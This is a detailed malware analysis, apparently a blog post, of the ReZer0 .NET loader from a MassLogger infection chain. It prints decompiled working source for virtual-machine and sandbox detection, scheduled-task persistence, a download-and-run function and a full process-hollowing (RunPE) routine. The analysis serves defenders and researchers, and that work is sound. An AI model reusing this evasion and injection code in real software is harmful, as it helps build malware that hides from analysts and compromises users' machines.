Loaders are used to conceal a payload from the prying eyes of analysts and anti-virus scanners alike. Using multiple loaders to load one another is a tactic that is quite commonly observed. This article will analyze the ReZer0 loader in detail, which is one of the loaders that was used in the execution chain for this MassLogger sample. The stages prior to this loader were covered by Nikhil Hegde in a blog on ClamAV’s website.
## Technical Sample Information
The sample can be downloaded from VirusBay, Malware Bazaar, or MalShare. The hashes are given below.
- **MD5**: 32b8a98b6b3db245201d0b91a8d0a200
- **SHA-1**: a9ee4ebe7c0d1071dba183287c2b5443b01af792
- **SHA-256**: 6d6224681c25a1b844d3cb183b6f852af8724c0cb25815aaf9e50ff00a6fddcf
- **Size**: 725504 bytes
## Outline
This article will show how to use de4dot to sanitize the names of classes, methods, and fields. After which it can be exported in Visual Studio to allow code refactoring. The string encryption is then analyzed and removed, and the loader is analyzed in detail. Note that the decryption routine is incorrectly placed due to the way it is coded, meaning one can obtain the next stage without executing any of the system checks that the loader performs. At last, further research into the usage of this loader in the wild is presented together with a rudimentary Yara rule.
## Observations
The sample does not fully execute in several sandboxes, meaning it likely contains anti-virtualization and/or anti-sandbox capabilities.
## Sample Sanitation
The malware is a Dot Net binary, as was shown in the first few stages. Note that the binary is 32-bits, meaning one needs to use the 32-bit version of dnSpy to be able to debug the binary. Upon opening the file, one can see the escaped unicode characters that are used in namespaces, classes, functions, and fields. Even though no obfuscator is found when using de4dot, the names within the binary are sanitized, making them more readable. Additionally, not using de4dot results in an error when exporting the decompiled binary as a Visual Studio project. The exported project can be used to refactor code, whilst dnSpy is used to debug the sample.
## String Obfuscation
The strings in the loader are obfuscated. The function named `smethod_0` in `Class5` requires an integer as input, after which it returns the deobfuscated string. The function is given below.
```csharp
internal static string smethod_0(int int_3)
{
Class5.Class6 obj = Class5.class6_0;
string result;
lock (obj)
{
string text = Class5.class6_0.method_2(int_3);
if (text != null)
{
result = text;
}
else
{
result = Class5.smethod_1(int_3, true);
}
}
return result;
}
```
When looking into the constructor of the used class, as well as the used methods, one will see that the obfuscation is rather lengthy. The code that dnSpy exported shows quite some errors when opening the project in Visual Studio. To obtain a list of all used integers for the deobfuscation method, one can select the function name in dnSpy and select Analyze from the right-click context menu. Alternatively, one can use `CTRL + SHIFT + R` instead of the context menu. The Used By list contains all references to this function. This list can be used to create a list of all used strings.
An easy way to avoid replicating the deobfuscation method is to debug the sample with a breakpoint on the return statement within the function. After that, one can set the next statement to the first line in the function, where the `obj` variable is initialized. This can be done by right-clicking the target line and selecting Set Next Statement in dnSpy. Alternatively, one can use `CTRL + SHIFT + F10` after the target line has been selected.
Within the debugger, one can change the value of `int_3` to any of the integers that got collected in the previous step. After changing the value of `int_3`, one can resume the execution, as the breakpoint on the return statement will be hit once the deobfuscation is completed. The `result` variable will then contain the deobfuscated string’s value. Setting the next instruction at the top and providing the next integer value will provide the next string. A complete list of all integers and their deobfuscated strings is given below.
-1511115605 "QJAhqduYgl"
-1511115622 "SXQYnw6FmN"
-1511115639 "0||1||0||0||0||||||0||0||0||0||||||||||||||0||0||0||0||0||0||0||0||v4||0||2976||1||0|"
-1511115749 "||"
-1511115758 "JyVNBfjFOm"
-1511116357 "noKey"
-1511116538 "Afx:400000:0"
-1511116392 "SbieDll.dll"
-1511116410 "USER"
-1511116293 "SANDBOX"
-1511116307 "VIRUS"
-1511116319 "MALWARE"
-1511116333 "SCHMIDTI"
-1511116348 "CURRENTUSER"
-1511116494 @"\VIRUS"
-1511116507 "SAMPLE"
-1511116520 @"C:\file.exe"
-1511116429 @"HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0"
-1511116640 "Identifier"
-1511116657 "VBOX"
-1511116668 @"HARDWARE\Description\System"
-1511116574 "SystemBiosVersion"
-1511116598 "VideoBiosVersion"
-1511116749 "VIRTUALBOX"
-1511116766 @"SOFTWARE\Oracle\VirtualBox Guest Additions"
-1511116369 "noValueButYesKey"
-1511116687 "VMWARE"
-1511116700 @"SOFTWARE\VMware, Inc.\VMware Tools"
-1511115845 @"HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0"
-1511115800 @"HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0"
-1511116011 @"SYSTEM\ControlSet001\Services\Disk\Enum"
-1511115929 "0"
-1511115937 "vmware"
-1511115950 @"SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000"
-1511116035 "DriverDesc"
-1511116052 @"SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\Settings"
-1511116274 "Device Description"
-1511116171 "InstallPath"
-1511116189 @"C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\"
-1511115337 "kernel32.dll"
-1511115356 "wine_get_unix_file_name"
-1511115386 "QEMU"
-1511115269 @"\\.\ROOT\cimv2"
-1511115290 "SELECT * FROM Win32_VideoController"
-1511115460 "Description"
-1511115478 "VM Additions S3 Trio32/64"
-1511115510 "S3 Trio32/64"
-1511115401 "VirtualBox Graphics Adapter"
-1511115435 "VMware SVGA II"
-1511115595 "XML"
-1511114754 @"\"
-1511114762 ".exe"
-1511114773 "MSBuild.exe"
-1511114791 "vbc.exe"
-1511114805 "RegSvcs.exe"
-1511115775 "[LOCATION]"
-1511115664 "[USERID]"
-1511115679 "schtasks.exe"
-1511115698 @"/Create /TN ""Updates\"
-1511114830 "\" /XML \""
-1511114845 "\""
-1511114853 "\"{path}\""
-1511115456 "ReZer0.Properties.Resources"
-1511114868 "ToInt32"
Within the Visual Studio project, one can replace all calls to the deobfuscation function with the deobfuscated string. Note that the previously made assumption about the anti-virtualization and anti-sandbox methods is confirmed based on some of the strings in the list, such as but not limited to VMWARE, VIRTUALBOX, and wine_get_unix_file_name.
## Analyzing the Main Function
The execution of the program starts within the main function, the code of which is given below.
```csharp
public static void Main()
{
string location = Assembly.GetEntryAssembly().Location;
if (Class8.int_11 == 1)
{
Thread.Sleep(Conversions.ToInteger(Class8.string_2[35]) * 1000);
}
if (Class8.int_8 == 1)
{
Class8.smethod_0();
}
if (Class8.int_4 == 1 && Class2.smethod_2())
{
Environment.Exit(0);
}
if (Class8.int_5 == 1 && Class2.smethod_1(location))
{
Environment.Exit(0);
}
if (Class8.int_3 == 1)
{
Class8.smethod_5(Class8.string_5, Class8.string_4);
}
if (Class8.int_1 == 1)
{
string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\";
string text = str + Class8.string_3 + ".exe";
if (!File.Exists(text))
{
File.Copy(location, text);
Class8.smethod_4(Class8.string_3, text);
}
}
if (Class8.int_0 == 4)
{
Class8.smethod_8();
}
if (Class8.int_0 != 4)
{
Class8.smethod_9(Class8.int_0);
}
}
```
At first, the location of the loader is obtained. The eight following if-statements are executed when fields within Class8 contain a specific value. The Main function is also located in Class8. To understand how these fields are populated, one can inspect the code of any of the integers, as can be seen in the example below.
```csharp
private static int int_4 = Conversions.ToInteger(Class8.string_2[7]);
```
The field `string_2`, which is a string array, contains all values that are needed. The initialization of this variable, and its dependencies, is given below.
```csharp
private static string string_1 = "0||1||0||0||0||||||0||0||0||0||||||||||||||0||0||0||0||0||0||0||0||v4||0||2976||1||0|";
private static string[] string_2 = Strings.Split(Class8.string_1, "||", -1, CompareMethod.Binary);
```
### Following the Loader’s Execution Flow
As such, the string array is created by splitting the string, using the two pipes as the splitting character. As the values of all fields that are used in the main function are known, we can statically derive which if-statements are executed, and which are skipped. The code for the main function, with notes, is given below.
```csharp
public static void Main()
{
string location = Assembly.GetEntryAssembly().Location;
if (Class8.int_11 == 1) // true
{
Thread.Sleep(Conversions.ToInteger(Class8.string_2[35]) * 1000);
}
if (Class8.int_8 == 1) // false
{
Class8.smethod_0();
}
if (Class8.int_4 == 1 && Class2.smethod_2()) // int_4 == 0
{
Environment.Exit(0);
}
if (Class8.int_5 == 1 && Class2.smethod_1(location)) // int_5 == 0
{
Environment.Exit(0);
}
if (Class8.int_3 == 1) // int_3 == 0
{
Class8.smethod_5(Class8.string_5, Class8.string_4);
}
if (Class8.int_1 == 1) // true
{
string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\";
string text = str + Class8.string_3 + ".exe";
if (!File.Exists(text))
{
File.Copy(location, text);
Class8.smethod_4(Class8.string_3, text);
}
}
if (Class8.int_0 == 4) // false
{
Class8.smethod_8();
}
if (Class8.int_0 != 4) // true
{
Class8.smethod_9(Class8.int_0);
}
}
```
Note that the value at the 35th index of `string_2` is equal to 30, meaning that the time to sleep is 30,000 milliseconds, or 30 seconds. The variable named `int_11` can therefore be renamed to `shouldSleep`, as it defines if the sleep function should be called. Sleeping is often used to evade dynamic analysis environments such as sandboxes, as these generally monitor for activity and only run for a limited period of time.
The second if-statement will not be executed, meaning the analysis of that part is skipped for now. The third if-statement is set to be executed based on the settings, but also depends on the return value of `Class2.smethod_2()`. When looking at that function, it mainly consists of function calls to `Class2.smethod_0`. To fully understand `smethod_2`, one first has to analyze `smethod_0`. The code for `smethod_0` from `Class2` is given below.
```csharp
public static string smethod_0(string string_0, string string_1)
{
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(string_0, false);
string result;
if (registryKey == null)
{
result = "noKey";
}
else
{
object objectValue = RuntimeHelpers.GetObjectValue(registryKey.GetValue(string_1, "noValueButYesKey"));
if (objectValue.GetType() == typeof(string))
{
result = objectValue.ToString();
}
else if (registryKey.GetValueKind(string_1) == RegistryValueKind.String || registryKey.GetValueKind(string_1) == RegistryValueKind.ExpandString)
{
result = objectValue.ToString();
}
else if (registryKey.GetValueKind(string_1) == RegistryValueKind.DWord)
{
result = Convert.ToString(Conversions.ToInteger(objectValue));
}
else if (registryKey.GetValueKind(string_1) == RegistryValueKind.QWord)
{
result = Convert.ToString(Conversions.ToLong(objectValue));
}
else if (registryKey.GetValueKind(string_1) != RegistryValueKind.Binary)
{
result = ((registryKey.GetValueKind(string_1) != RegistryValueKind.MultiString) ? "noValueButYesKey" : string.Join(string.Empty, (string[])objectValue));
}
else
{
result = Convert.ToString((byte[])objectValue);
}
}
return result;
}
```
This method is used to get a value from a given registry key. As such, the function can be renamed to `getRegistryKeyValue`. The updated `smethod_2` function is given below.
```csharp
public static bool smethod_2()
{
bool result;
if (Class2.getRegistryKeyValue(@"HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0", "Identifier").ToUpper().Contains("VBOX"))
{
result = true;
}
else if (Class2.getRegistryKeyValue(@"HARDWARE\Description\System", "SystemBiosVersion").ToUpper().Contains("VBOX"))
{
result = true;
}
else if (Class2.getRegistryKeyValue(@"HARDWARE\Description\System", "VideoBiosVersion").ToUpper().Contains("VIRTUALBOX"))
{
result = true;
}
else if (Operators.CompareString(Class2.getRegistryKeyValue(@"SOFTWARE\Oracle\VirtualBox Guest Additions", string.Empty), "noValueButYesKey", false) == 0)
{
result = true;
}
else if (Class2.getRegistryKeyValue(@"HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0", "Identifier").ToUpper().Contains("VMWARE"))
{
result = true;
}
else if (Operators.CompareString(Class2.getRegistryKeyValue(@"SOFTWARE\VMware, Inc.\VMware Tools", string.Empty), "noValueButYesKey", false) == 0)
{
result = true;
}
else if (Class2.getRegistryKeyValue(@"HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0", "Identifier").ToUpper().Contains("VMWARE"))
{
result = true;
}
else if (Class2.getRegistryKeyValue(@"HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0", "Identifier").ToUpper().Contains("VMWARE"))
{
result = true;
}
else if (Class2.getRegistryKeyValue(@"SYSTEM\ControlSet001\Services\Disk\Enum", "0").ToUpper().Contains("vmware".ToUpper()))
{
result = true;
}
else if (Class2.getRegistryKeyValue(@"SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000", "DriverDesc").ToUpper().Contains("VMWARE"))
{
result = true;
}
else if (Class2.getRegistryKeyValue(@"SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\Settings", "Device Description").ToUpper().Contains("VMWARE"))
{
result = true;
}
else if (Class2.getRegistryKeyValue(@"SOFTWARE\VMware, Inc.\VMware Tools", "InstallPath").ToUpper().Contains(@"C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\"))
{
result = true;
}
else if (Class2.GetProcAddress(Class2.GetModuleHandle("kernel32.dll"), "wine_get_unix_file_name") != (IntPtr)0)
{
result = true;
}
else if (Class2.getRegistryKeyValue(@"HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0", "Identifier").ToUpper().Contains("QEMU"))
{
result = true;
}
else if (!Class2.getRegistryKeyValue(@"HARDWARE\Description\System", "SystemBiosVersion").ToUpper().Contains("QEMU"))
{
ManagementScope scope = new ManagementScope(@"\\.\ROOT\cimv2");
using (ManagementObjectCollection managementObjectCollection = new ManagementObjectSearcher(scope, new ObjectQuery("SELECT * FROM Win32_VideoController")).Get())
{
foreach (ManagementBaseObject managementBaseObject in managementObjectCollection)
{
ManagementObject managementObject = (ManagementObject)managementBaseObject;
if (Operators.CompareString(managementObject["Description"].ToString(), "VM Additions S3 Trio32/64", false) == 0)
{
return true;
}
if (Operators.CompareString(managementObject["Description"].ToString(), "S3 Trio32/64", false) == 0)
{
return true;
}
if (Operators.CompareString(managementObject["Description"].ToString(), "VirtualBox Graphics Adapter", false) == 0)
{
return true;
}
if (Operators.CompareString(managementObject["Description"].ToString(), "VMware SVGA II", false) == 0)
{
return true;
}
if (managementObject["Description"].ToString().ToUpper().Contains("VMWARE"))
{
return true;
}
if (Operators.CompareString(managementObject["Description"].ToString(), string.Empty, false) == 0)
{
return true;
}
}
}
result = false;
}
else
{
result = true;
}
return result;
}
```
This function checks for the presence of artifacts that are usually only present in virtual environments. As such, the function can be renamed to `detectVirtualEnvironment`. The class can be renamed to `AntiDetection`. The updated if-statement is given below.
```csharp
if (Class8.int_4 == 1 && AntiDetection.detectVirtualEnvironment())
{
Environment.Exit(0);
}
```
If this environment is found, the loader exits. If not, it moves on to the next reachable if-statement, which is sixth.
```csharp
if (Class8.int_1 == 1)
{
string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\";
string text = str + Class8.string_3 + ".exe";
if (!File.Exists(text))
{
File.Copy(location, text);
Class8.smethod_4(Class8.string_3, text);
}
}
```
The `str` variable contains the path to the application data folder. The `text` variable contains the path to the application data folder and the file name, including the extension. The file name is stored in the field named `string_3`, which is equal to `JyVNBfjFOm`. If this file does not exist, the current loader is copied to the full path, after which `smethod_4` is executed with two arguments: the file name and the path to the file in the application data folder. The code for the function is given below.
```csharp
private static void smethod_4(string string_8, string string_9)
{
string text = Class4.smethod_3();
string name = WindowsIdentity.GetCurrent().Name;
string tempFileName = Path.GetTempFileName();
text = text.Replace("[LOCATION]", string_9).Replace("[USERID]", name);
File.WriteAllText(tempFileName, text);
Process.Start(new ProcessStartInfo("schtasks.exe", string.Concat(new string[]
{
@"/Create /TN ""Updates\",
string_8,
"\" /XML \"",
tempFileName,
"\""
}))
{
WindowStyle = ProcessWindowStyle.Hidden
}).WaitForExit();
File.Delete(tempFileName);
}
```
A quick look inside `Class4.smethod_3` shows that it obtains the embedded resources named XML. The full resource is given below.
```xml
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>2014-10-25T14:27:44.8929027</Date>
<Author>[USERID]</Author>
</RegistrationInfo>
<Triggers>
<LogonTrigger>
<Enabled>true</Enabled>
<UserId>[USERID]</UserId>
</LogonTrigger>
<RegistrationTrigger>
<Enabled>false</Enabled>
</RegistrationTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<UserId>[USERID]</UserId>
<LogonType>InteractiveToken</LogonType>
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>[LOCATION]</Command>
</Exec>
</Actions>
</Task>
```
The function replaces two values within the XML to create a scheduled task which starts the loader upon startup.
The last if-statement that is executed is also the last one within the main function. The code is given below.
```csharp
if (Class8.int_0 != 4)
{
Class8.smethod_9(Class8.int_0);
}
```
Note that the value of `int_0` equals 0. The code for `smethod_9` is given below.
```csharp
private static void smethod_9(int int_13)
{
Class8.smethod_6(Class8.smethod_10(int_13), Class8.byte_0, true);
}
```
The first argument for `Class8.smethod_6` is equal to the return value of `Class8.smethod_10`, whose code is given below.
```csharp
public static string smethod_10(int int_13)
{
string result;
switch (int_13)
{
case 0:
result = Assembly.GetEntryAssembly().Location;
break;
case 1:
result = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "MSBuild.exe");
break;
case 2:
result = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "vbc.exe");
break;
case 3:
result = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegSvcs.exe");
break;
default:
result = Assembly.GetEntryAssembly().Location;
break;
}
return result;
}
```
This function returns the path of a file, which is either an external file or the path of the loader. In this case, the value 0 is passed to the function, which returns the location of the loader itself.
The byte array named `byte_0`, the second argument of `Class8.smethod_6`, is loaded when the loader starts, as can be seen in the code below.
```csharp
private static string string_0 = "QJAhqduYgl";
private static byte[] byte_0 = Class3.smethod_1(Class3.smethod_2(Class3.smethod_0("SXQYnw6FmN"), Class8.string_0));
```
The function named `smethod_0` in `Class3` is given below.
```csharp
public static byte[] smethod_0(string string_0)
{
ResourceManager resourceManager = new ResourceManager(string_0, Assembly.GetExecutingAssembly());
return (byte[])resourceManager.GetObject(string_0);
}
```
This function returns an embedded resource based upon the given name. As such, this method can be renamed to `getResourceByName`. The code for `Class3.smethod_2` is given below.
```csharp
public static byte[] smethod_2(byte[] byte_0, string string_0)
{
int num = 0;
byte[] bytes = Encoding.BigEndianUnicode.GetBytes(string_0);
checked
{
int num2 = (int)(byte_0[byte_0.Length - 1] ^ 112);
byte[] array = new byte[byte_0.Length + 1];
int num3 = byte_0.Length - 1;
for (int i = 0; i <= num3; i++)
{
array[i] = (byte)((int)byte_0[i] ^ num2 ^ (int)bytes[num]);
num = ((num != string_0.Length - 1) ? (num + 1) : 0);
}
return (byte[])Utils.CopyArray(array, new byte[byte_0.Length - 2 + 1]);
}
}
```
This method alters the given resource based on the given string, which is the decryption key. The code for `smethod_1` is given below.
```csharp
public static byte[] smethod_1(byte[] byte_0)
{
checked
{
byte[] array = new byte[byte_0.Length - 16 - 1 + 1];
Buffer.BlockCopy(byte_0, 16, array, 0, array.Length);
int num = array.Length - 1;
for (int i = 0; i <= num; i++)
{
byte[] array2 = array;
int num2 = i;
array2[num2] ^= byte_0[i % 16];
}
return array;
}
}
```
This method further alters the given byte array. When checking the decrypted value via the debugger, or by extracting the resource and creating a custom C# program, one can see that the first few bytes equal MZ, meaning that the byte array contains an executable. Noteworthy here is the fact this payload is located in a static byte array. This means that, even though the loader verifies whether the environment is safe to execute in, the byte array is decrypted before any of the checks. If an AV were to scan the memory area of the byte array, the newly decrypted executable would be found. It is also possible to dump the array’s content via the debugger after breaking on the declaration of the array. This executable is the next stage, which is not analyzed in this article.
The code for `Class8.smethod_6` is given below.
```csharp
public static bool smethod_6(string string_8, byte[] byte_1, bool bool_0)
{
bool result;
try
{
for (int i = 1; i <= 5; i++)
{
if (Class8.smethod_7(string_8, byte_1, bool_0))
{
return true;
}
}
result = false;
}
catch
{
result = false;
}
return result;
}
```
This function loops five times, where it executes `Class8.smethod_7` every time. The first argument is the full path to the loader, the second path is the next stage in the form of a byte array, and the third argument is a boolean that is set to true. This code looks similar to NYAN CAT‘s RunPE. Upon digging into `smethod_7`, the suspicion is confirmed. The code is given below.
```csharp
private static bool smethod_7(string string_8, byte[] byte_1, bool bool_0)
{
int num = 0;
string string_9 = Class5.smethod_0(-1511114853);
Class8.Struct2 @struct = default(Class8.Struct2);
Class8.Struct1 struct2 = default(Class8.Struct1);
@struct.uint_0 = Convert.ToUInt32(Marshal.SizeOf(typeof(Class8.Struct2)));
try
{
if (!Class8.CreateProcess(string_8, string_9, IntPtr.Zero, IntPtr.Zero, false, 4u, IntPtr.Zero, null, ref @struct, ref struct2))
{
throw new Exception();
}
MethodInfo method = typeof(BitConverter).GetMethod(Class5.smethod_0(-1511114868));
object[] parameters = new object[]
{
byte_1,
60
};
int num2 = Convert.ToInt32(method.Invoke(null, parameters));
int num3 = BitConverter.ToInt32(byte_1, num2 + 26 + 26);
int[] array = new int[179];
array[0] = 65538;
if (IntPtr.Size == 4)
{
if (!Class8.GetThreadContext(struct2.intptr_1, array))
{
throw new Exception();
}
}
else if (!Class8.Wow64GetThreadContext(struct2.intptr_1, array))
{
throw new Exception();
}
int num4 = array[41];
int num5 = 0;
if (!Class8.ReadProcessMemory(struct2.intptr_0, num4 + 4 + 4, ref num5, 4, ref num))
{
throw new Exception();
}
if (num3 == num5 && Class8.NtUnmapViewOfSection(struct2.intptr_0, num5) != 0)
{
throw new Exception();
}
int int_ = BitConverter.ToInt32(byte_1, num2 + 80);
int int_2 = BitConverter.ToInt32(byte_1, num2 + 42 + 42);
int num6 = Class8.VirtualAllocEx(struct2.intptr_0, num3, int_, 12288, 64);
if (num6 == 0)
{
throw new Exception();
}
if (!Class8.WriteProcessMemory(struct2.intptr_0, num6, byte_1, int_2, ref num))
{
throw new Exception();
}
int num7 = num2 + 248;
short num8 = BitConverter.ToInt16(byte_1, num2 + 3 + 3);
for (int i = 0; i < (int)num8; i++)
{
int num9 = BitConverter.ToInt32(byte_1, num7 + 6 + 6);
int num10 = BitConverter.ToInt32(byte_1, num7 + 8 + 8);
int srcOffset = BitConverter.ToInt32(byte_1, num7 + 20);
if (num10 != 0)
{
byte[] array2 = new byte[num10];
Buffer.BlockCopy(byte_1, srcOffset, array2, 0, array2.Length);
if (!Class8.WriteProcessMemory(struct2.intptr_0, num6 + num9, array2, array2.Length, ref num))
{
throw new Exception();
}
}
num7 += 40;
}
byte[] bytes = BitConverter.GetBytes(num6);
if (!Class8.WriteProcessMemory(struct2.intptr_0, num4 + 8, bytes, 4, ref num))
{
throw new Exception();
}
int num11 = BitConverter.ToInt32(byte_1, num2 + 40);
array[44] = num6 + num11;
if (IntPtr.Size != 4)
{
if (!Class8.Wow64SetThreadContext(struct2.intptr_1, array))
{
throw new Exception();
}
}
else if (!Class8.SetThreadContext(struct2.intptr_1, array))
{
throw new Exception();
}
if (Class8.ResumeThread(struct2.intptr_1) == -1)
{
throw new Exception();
}
if (Class8.int_7 == 1)
{
Class8.int_12 = Convert.ToInt32(struct2.uint_0);
Class8.smethod_2();
}
}
catch
{
Process processById = Process.GetProcessById(Convert.ToInt32(struct2.uint_0));
processById.Kill();
return false;
}
return true;
}
```
The technique to load the next stage is called process hollowing. The process is created with 4 as the value for the `dwCreationFlags` variable. Next up is a check based upon the size of a pointer, which determines the system’s architecture. If a pointer is 4 bytes in size, the system architecture is 32-bits. If the pointer is 8 bytes in size, the system architecture is 64-bits. This defines which API calls are used: either the native API functions or the Windows On Windows API functions.
After that, `ReadProcessMemory` is called to read the data of the targeted process. With the help of `ZwUnmapViewOfSection`, a view is unmapped from the process. A view is part of a process’ memory. A new memory segment is then allocated with the help of `VirtualAllocEx`. The next stage is then written into the newly allocated buffer via `WriteProcessMemory`. To instruct the system where to continue the execution, the `SetThreadContext` (or `Wow64GetThreadContext`, depending on the system architecture) is used. At last, the process execution is resumed by using `ResumeThread`.
## Analyzing the Rest of the Loader
The loader’s current configuration has been analyzed step-by-step, but not all settings were covered. This section covers methods that were not activated by the current configuration, but can be activated in different builds. The unanalyzed if-statements from the main function are given below.
```csharp
if (Class8.int_8 == 1) // false
{
Class8.smethod_0();
}
//...
if (Class8.int_5 == 1 && AntiDetection.smethod_1(location)) // int_5 == 0
{
Environment.Exit(0);
}
if (Class8.int_3 == 1) // int_3 == 0
{
Class8.smethod_5(Class8.string_5, Class8.string_4);
}
//...
if (Class8.int_0 == 4) // false
{
Class8.smethod_8();
}
```
The first if-statement in the code above is used to show a message box to the user, as can be seen in the code below.
```csharp
private static void smethod_0()
{
MessageBoxButtons buttons = (MessageBoxButtons)Class8.int_9;
MessageBoxIcon icon = (MessageBoxIcon)Class8.int_10;
MessageBox.Show(Class8.string_7, Class8.string_6, buttons, icon);
}
```
The second if-statement also requires a function from the `AntiDetection` class, which already provides an indication as to what the function will do. The code is given below.
```csharp
public static bool smethod_1(string string_0)
{
StringBuilder stringBuilder = new StringBuilder();
int num = 50;
AntiDetection.GetUserName(stringBuilder, ref num);
return (int)AntiDetection.GetModuleHandle("SbieDll.dll") != 0 ||
Operators.CompareString(stringBuilder.ToString().ToUpper(), "USER", false) == 0 ||
Operators.CompareString(stringBuilder.ToString().ToUpper(), "SANDBOX", false) == 0 ||
Operators.CompareString(stringBuilder.ToString().ToUpper(), "VIRUS", false) == 0 ||
Operators.CompareString(stringBuilder.ToString().ToUpper(), "MALWARE", false) == 0 ||
Operators.CompareString(stringBuilder.ToString().ToUpper(), "SCHMIDTI", false) == 0 ||
Operators.CompareString(stringBuilder.ToString().ToUpper(), "CURRENTUSER", false) == 0 ||
string_0.ToUpper().Contains(@"\VIRUS") ||
string_0.ToUpper().Contains("SANDBOX") ||
string_0.ToUpper().Contains("SAMPLE") ||
Operators.CompareString(string_0, @"C:\file.exe", false) == 0 ||
(int)AntiDetection.FindWindow("Afx:400000:0", (IntPtr)0) != 0;
}
```
This function stores the username into the variable named `stringBuilder`, which has a maximum length of 50, as is specified by the second argument. This function resides within `advapi32.dll`, as can be seen in the function definition below.
```csharp
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool GetUserName(StringBuilder stringBuilder_0, ref int int_0);
```
After that, the loader checks if a handle exists for `SbieDll.dll`, which is part of the sandboxing application named Sandboxie. If the username contains USER, SANDBOX, VIRUS, MALWARE, SCHMIDTI, or CURRENTUSER, the malware also assumes it's in a sandbox environment. If the full path of the loader contains \VIRUS, SANDBOX, SAMPLE, or is equal to `C:\file.exe`, the malware also assumes it's in an analysis environment. Lastly, it detects if an MFC (Microsoft Foundation Classes/Application Framework Extensions) window is open, as documented.
Based on the analysis, the function can be renamed to `detectSandbox`.
The next if-statement calls `Class8.smethod_5`, which is given below.
```csharp
public static void smethod_5(string string_8, string string_9)
{
WebClient webClient = new WebClient();
string fileName = Path.GetTempPath() + string_9;
webClient.DownloadFile(string_8, fileName);
Process.Start(fileName);
}
```
The newly created web client is used to download a file to a temporary folder. The function’s first argument is the URL to download the file from, whereas the second argument is the file name of the file in the temporary folder. Once the download has been completed, the file is started. As such, this function can be renamed into `downloadAndRunPayload`.
The last if-statement calls `Class8.smethod_8`, which is given below.
```csharp
private static void smethod_8()
{
try
{
Assembly assembly = Assembly.Load(Class8.byte_0);
object[] parameters = null;
if (assembly.EntryPoint.GetParameters().Length != 0)
{
parameters = new object[]
{
new string[1]
};
}
assembly.EntryPoint.Invoke(null, parameters);
}
catch (Exception)
{
Class8.smethod_9(0);
}
}
```
The embedded payload is loaded as an assembly. If there are no parameters for the loaded assembly, an empty string array is set as one, after which the payload is executed. If an exception occurs, the process hollowing method is called.
## Feature Overview
Upon refactoring the fields in the main function, as well as all called functions, one can clearly see the loader’s capabilities in a single overview. The refactored code is given below.
```csharp
public static void Main()
{
string location = Assembly.GetEntryAssembly().Location;
if (MainClass.shouldSleep == 1)
{
Thread.Sleep(30 * 1000);
}
if (MainClass.shouldDisplayMessageBox == 1)
{
MainClass.DisplayMessageBox();
}
if (MainClass.shouldDetectVirtualEnvironment == 1 && AntiDetection.detectVirtualEnvironment())
{
Environment.Exit(0);
}
if (MainClass.shouldDetectSandbox == 1 && AntiDetection.detectSandbox(location))
{
Environment.Exit(0);
}
if (MainClass.shouldDownloadAndRunPayload == 1)
{
MainClass.downloadAndRunPayload(MainClass.url, MainClass.downloadedFileName);
}
if (MainClass.shouldSetScheduledTask == 1)
{
string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\";
string fullPath = path + MainClass.fileName + ".exe";
if (!File.Exists(fullPath))
{
File.Copy(location, fullPath);
MainClass.setScheduledTask(MainClass.fileName, fullPath);
}
}
if (MainClass.launchEnum == 4)
{
MainClass.directlyLaunchPayload();
}
if (MainClass.launchEnum != 4)
{
MainClass.launchPayloadHollowedWrapper(MainClass.launchEnum);
}
}
```
The sleep option, and duration, is used to evade some dynamic controls, as it simply waits. A system where the sleep function is patched to not wait would avoid the delay in execution, as there is no further check. The loader has the capability to show a message to the user, which could be used to display a fake error message.
